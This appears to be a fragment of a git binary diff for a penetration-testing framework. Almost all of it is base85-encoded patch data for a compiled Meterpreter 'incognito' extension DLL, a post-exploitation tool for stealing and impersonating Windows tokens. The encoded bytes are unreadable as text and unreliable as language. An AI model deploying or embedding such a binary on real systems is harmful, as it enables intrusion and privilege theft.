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 E2bhliqW}N^ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 7cac1159f995ee2bb6ff52a720e30b062c00631a..ad725ebebfbd82122af2ef82679fb57268d104c3 100755 GIT binary patch literal 75776 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 